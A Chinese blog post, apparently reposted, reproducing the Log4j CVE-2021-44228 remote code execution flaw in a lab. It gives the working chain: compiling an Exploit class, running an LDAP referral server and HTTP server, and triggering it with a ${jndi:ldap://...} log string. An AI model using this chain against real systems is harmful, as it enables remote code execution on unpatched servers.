• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Log4j远程代码执行漏洞CVE-2021-44228漏洞复现

武飞扬头像
rpsate
帮助2

基本信息

漏洞编号:CVE-2021-44228
影响版本:2.x<=2.15.0-rc1
poc地址:https://gitee.com/lcosmos/apache-log4j-poc
在此十分感谢我的寝室长Cosmos提供的poc和技术支持。

原理简述

当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,程序就会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

漏洞复现

首先安装maven依赖,并配置环境变量。安装方法请参考:https://jingyan.百度.com/article/e4d08ffde8d4b24fd2f60dce.html

安装后执行mvn --version,如果出现版本信息则说明安装成功,如下图所示:

学新通

然后更换maven源,因为poc所需要的依赖需要通过maven下载,更换成国内的源可以大大提高下载速度,更换源的方法可以参考:https://www.cnblogs.com/c2g5201314/p/14399714.html

然后用ide打开poc项目,在Exploit.java中写入要执行的命令,如下图所示:

学新通

然后通过javac命令将Exploit.java编译成class文件。

cd src/main/java 
javac Exploit.java

学新通

需要配置一下LDAPRefServer文件,该文件的作用就是启动一个LDAP服务。如下图所示1389就是LDAP服务的端口,http://192.168.119.1:8099/#Exploit就是class文件的地址。

上面class文件地址中#号必须加上,文件的class后缀需要省略。LDAP服务返回http://192.168.119.1:8099/#Exploit就是让靶机去http://192.168.119.1:8099下载Exploit.class文件并执行。

学新通

然后点击依次右边的Maven和compile,这会自动下载所需的依赖包。等待下载完依赖后就点击LDAPRefServer.java文件中的小三角图形启动LDAP服务。

学新通

然后来到Exploit.class文件所在目录下执行python -m http.server 8099启动http服务,也可以用其他方法,只要提供一个能下载Exploit.class的http服务即可。

注意http服务ip和端口要与LDAPRefServer.java文件中ip和端口对应。

学新通

然后运行Log4j.java文件,这个文件执行内容是通过log4j框架打印日志${jndi:ldap://192.168.119.1:1389/a},其中192.168.119.1:1389是lDAP服务的ip地址和端口。然后就会发现命令执行成功了。

学新通

参考文献

https://gitee.com/lcosmos/apache-log4j-poc/blob/master/README.md

https://jingyan.百度.com/article/e4d08ffde8d4b24fd2f60dce.html

https://www.cnblogs.com/c2g5201314/p/14399714.html

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgcbagf
系列文章
更多 icon
同类精品
更多 icon
继续加载